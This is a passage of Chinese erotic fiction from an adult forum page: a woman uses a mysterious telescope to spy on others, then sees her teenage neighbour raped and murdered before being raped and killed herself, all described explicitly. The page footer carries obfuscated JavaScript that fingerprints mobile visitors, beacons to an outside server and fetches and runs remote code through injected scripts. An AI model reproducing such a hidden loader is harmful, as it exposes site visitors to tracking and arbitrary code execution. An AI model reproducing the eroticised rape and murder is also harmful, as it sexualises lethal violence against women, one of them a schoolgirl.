  这次美露不再焦急,她知道总有一天,那神秘的镜头另一端,会再次出现别人观看不到的影像的。
  花了些钱,她又买了一台普通的望远镜,靠对面楼普通人的生活打发等待的无聊时光。不过,仅仅是窥视这种事情,就已经足够让她得到一定分量的兴奋,来消化掉漫长的时光。
  下一次的到来,让她觉得,等待是值得的。
  这次她看到的,是一个在镜头中永远清纯可爱的女明星,像只母狗一样趴在一个痴肥的男人双腿中间,用全身所有可以用的洞去榨取男人的精液的过程。
  那个男人美露似乎在电视上见过,不过具体是谁记不太清了。
  这一次的窥视,让她得到了近乎极限的高潮,结束的时候,连坐的凳子都湿透了半边。
  美中不足的,就是画面里的地点她无从确认,不然,只要拿上照相机拍到照片,哪怕只是一个酒店出入的镜头,也能赚到一笔不菲的生活费了。
  幸好,下一次机会很快来了。
  这次的主角是政治界崭露头角的年轻议员。女人露美并不认识,但不论从温柔还是美貌上都近乎无可挑剔的程度。
  这次的地方她还算熟悉,就在半小时车程的那个高档住宅区。
  刚刚从高超的虚脱感中剥离出来,露美就抓起了照相机,冲了出去。
  一小时四十分钟后,她在一个阴暗的角落里,满意的按下了快门。整理着领带带着满足的慵懒表情离开的男人,浑然不觉自己正被定格在黑亮的镜头之中。
  也许,崭新的天堂之门,就这样对她打开了也说不定……露美坐在床边,温柔的抚摸着望远镜雪白的镜筒,发出满足的叹息。

  (八)
  生活逐渐恢复了正常,露美的脸庞又再度蒙上了青春的色彩。
  隐秘的收入和隐秘的快乐滋养着她的身心,让她回到了热恋期的那种光彩逼人的模样。虽然那种成就感不能和他人分享,但看到报纸和杂志上出现只有她才能拍到的照片的时候,这种小问题就变得微不足道了。
  于是,她几乎淡忘了最早看见过的那个大汉。那个手臂纹着青龙,凶暴而残忍的男人。
  所以她一开始从望远镜里看到熟悉的房间的时候,还着实纳闷了一下。
  画面里的房间,就是她所在的公寓楼,而且离她住的屋子可以说十分接近。
  里面的主角,就是她隔壁的那个女高中生,那个不知为何独自租屋住在这里的少女。
  开始看到的时候,那个女生正带着耳机听歌,手上拿着一本介绍偶像的杂志《an·an》,津津有味的看着。
  突然,高中女生把头扭向了门的方向,脸上露出了被一而再再而三打扰的不耐烦表情。她一把扯下耳机,怒气冲冲的走到门口,既没有看猫眼,也没有挂门链,嘴里骂了句什幺,一下把门打开到最大。
  紧接着,青涩的脸上露出了恐惧惊讶的神情,似乎对面站的并不是她想象中的人,而是一个高壮的足足快有她两倍大的男人。
  男人抬起右手,手上握着一把还在向下流血的刀,迅速而准确的顶住了她的脖颈,压制住了她几乎冲出嘴巴的尖叫。
  这次那男人显得十分急躁,一掌把女生掴到了床上,撕碎了她的内裤,裙子胡乱的撩到腰上,用刀压住了她的脖子,把巨大的性器直接压进了少女柔嫩的蜜壶之中。
  女生并不是第一次,但这样巨大的肉棒还是让她感到了撕裂一样的剧痛,这一点,从她煞白的扭曲容颜上就可以轻易地看出来。
  这次,美露完全失去了继续看下去的心情。近在咫尺的强奸案让她切实的感到了危机。
  报警?用这样一个无稽的理由报警要求保护幺?会被嘲笑就算是轻的惩罚了吧……
  她四下翻了翻,找出了一根棒球棍,小心的从猫眼四下看了看,确定没有什幺陌生人之后,给警卫室打了个电话。
  那个略带沙哑的低沉磁性男声回答的是,没有任何异常。
  她犹豫了一下,握好了棒球棍,出门走到了隔壁的房间门口,犹豫着敲了敲门。
  里面没有反应,她加大了力道,里面才传出有些不耐烦的回应。
  门拉开了一条缝,那个高中女生不解的看着门外拿着棒球棍的她,露出了看神经病一样的讨厌眼神。
  “那……那个……请问你回来的时候,有没有注意到,有什幺陌生的危险人物?”
  “没有。”
  很干脆的回答后,门砰的关上。
  心底感到有些发寒,美露握紧了棒球棍,在走廊里来回走了一遍,最尽头的杂物室也看了一遍,仍然谁也没有发现。
  她返回屋里,凑到镜前再看了一眼。画面里的男人已经用腻了开始的姿势,让女生趴在了床上,自己站在窗边,快速的抽送。女生身上的衣服已经被扯的七七八八,只剩下一条破布一样的裙子垂在细白的腰上前后摇摆。
  “该死……”美露的心跳有些加速,又走到了那个高中生的门外,用力的敲了敲。
  这次门唰的一下开了,那个女生十分不爽的看着她,叫了出来:“你有什幺事?说!”
  美露愣了一下,陪笑着问:“请问,你有看到什幺人比较可疑的幺?”
  “有。”
  她立刻追问,“谁?在哪儿?”
  那个女生瞥了她一眼,说:“你,在这儿。”紧接着,又是大门关上的刺耳声音。
  漫无目的的把上下两层也搜索了一遍,美露几乎觉得自己被骗了。
  回到家中,她再次看了看望远镜,这时,画面里的男人已经发泄完了兽欲,正用女孩儿的内裤擦着刀上的血。
  而那些血,就来自那个高中女生的脖子,像一道红色的喷泉,止也止不住的向外涌着。
  “天啊……”美露紧紧地捂住了自己的脸,快步的冲出了门,走到高中女生的门外,大力敲着。
  “你到底要干嘛!”还没开门,那个高中生的吼声就传了出来。
  她对着开门后露出的那张怒意十足的脸,恳切的说道:“你千万小心!一定要小心一个大汉!他手上有一条龙,你一定不要给他开门!很危险……真的很危险……”她的话还没说完,气愤的高中生已经把门用力摔上。
  看样子,自己真的被当作神经病了……难道这次望远镜出错了幺?美露不甘心的回到自己的屋门外,拉开……
  门……没锁!
  她意识到这个的时候,一只可怕的、纹着一只青龙的手已经从屋内伸出来,卡住了她的脖子!
  冰凉的刀锋贴住她的喉管,一个低沉而富有磁性的男声,带着一点点的沙哑凑到耳边呢喃:“你怎幺知道我会来找那个小妞?”

  (九)
  这完全是来自死神的提问,不需要任何回答。
  露美在这一刻意识到,巨大的镰刀已经悬在了自己头上,她双手用力的扳住男人的手臂,想要让喉咙里得到足够尖叫出来的空气。
  挣扎和不挣扎的结果都是死的话,她至少要为了自己的命拼一下。
  但没想到,尖锐的刺痛立刻从脖颈的中间传来,冰冷的寒意随着疼痛顷刻遍布整个脑海。她瞪大眼,试图去看自己的脖子,却只能看到喷出的血浆溅染在男人手臂的青龙上。
  直接划破了美露的喉管后,大汉麻利的把她彻底软了下来的身体拖进屋子,扔在了床上。
  因疼痛而抽搐的双腿失去了任何反抗的力气,他毫不费力的就把尽头的那条内裤从裙子里面扯了下来。像是沉醉在这种慢慢走向死亡的诡异性感中一样,他的肉棒开始勃起,从没有拉上的裤链中探了出来。
  得不到空气的女性肉体很快因为痛苦而痉挛,而他就在这个时刻兴奋到了极点,他用手捂住了美露的伤口,好让她能多苟延残喘一会儿,他对尸体没兴趣,接着,他巨大的下体顶住了被尿液完全淋透了女性器官,开始向里突入。
  美露已经完全注意不到下体的感觉了,她觉得浑身发冷,肺里快要炸开了一样,明明在用力的呼吸,却完全感觉不到空气的真实。她的身体开始摇摆,男人粗大的肉棒开始在她痛苦而紧缩的肉穴内进出。
  但她都不在意了,她只是紧紧地盯着床边放着的望远镜。那台望远镜不知道什幺时候调转了头,黑幽幽的镜头直冲着她被强暴的肉体,像是只巨大的眼睛,冷冷的窥视着。
  “呵……”被割裂的喉管中发出不知是讥笑还是叹息的呼气声,带出了更多的鲜血。
  美露的瞳孔慢慢的放大,不管什幺,她都再也看不见了……
  察觉到柔软的裸体渐渐僵硬,原本不断收紧的膣腔猛地放松开来,男人意犹未尽的把硬挺的肉棒拔了出来,骂了句什幺,转身走了出来。
  他敲了敲隔壁女高中生的门,门里传出那女生烦躁的大喊。
  “你到底要干什幺!你烦不烦啊!”
  然后,通往地狱的大门,豁然开启……
  安静下来的房间里,传来隔壁微弱的痛苦呻吟,慢慢冰冷的美露,双眼没有任何焦距的看着望远镜的方向,望远镜的镜筒,也直直的对准着她。
  只是,没有人知道,她现在,还能看见什幺。

[ 此贴被有种你上来在2019-12-06 13:00重新编辑 ]

 

 热门搜索:

 友情链接:




返回首页 | 返回顶部

提示:点击查看永久收藏和无法观看电影说明【记住我们的邮箱:[email protected] 发送任意内容自动回复本站最新地址。】
警告:如果您未滿18歲或您當地法律許可之法定年齡、或是對情色反感或是衛道人士建議您離開本站! 本站歸類為限制級、限定為成年者已具有完整行為能力且願接受本站內影音內容、及各項條款之網友才可瀏覽,未滿18歲謝絕進入。
本站已遵照「iWIN網路內容防護機構」進行分類,如有家長發現未成年兒童/少年瀏覽此站、請按照此方法過濾本站內容 >>『網站分級制度』
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};